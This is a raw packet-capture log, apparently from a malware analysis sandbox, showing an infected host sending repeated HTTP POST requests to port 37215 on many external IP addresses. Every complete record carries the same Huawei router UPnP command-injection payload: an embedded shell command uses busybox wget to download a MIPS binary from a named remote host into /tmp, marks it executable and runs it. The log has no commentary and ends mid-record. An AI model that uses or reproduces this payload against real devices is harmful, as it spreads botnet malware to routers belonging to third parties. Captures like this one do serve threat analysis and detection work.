Jun 10, 2024 15:38:02.870630026 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.13	38466	197.29.159.134	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.871464968 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.13	33202	156.136.99.172	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.872395992 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.13	55624	197.190.134.35	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.873305082 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.13	60666	197.65.234.66	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.874285936 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.13	45636	197.94.37.133	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.875171900 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.13	47002	197.80.176.118	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.876051903 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.13	54630	197.158.23.49	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.877069950 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.13	59264	197.15.80.136	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.878022909 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.13	58050	41.150.80.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.879110098 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.13	39822	197.213.44.111	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.905258894 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 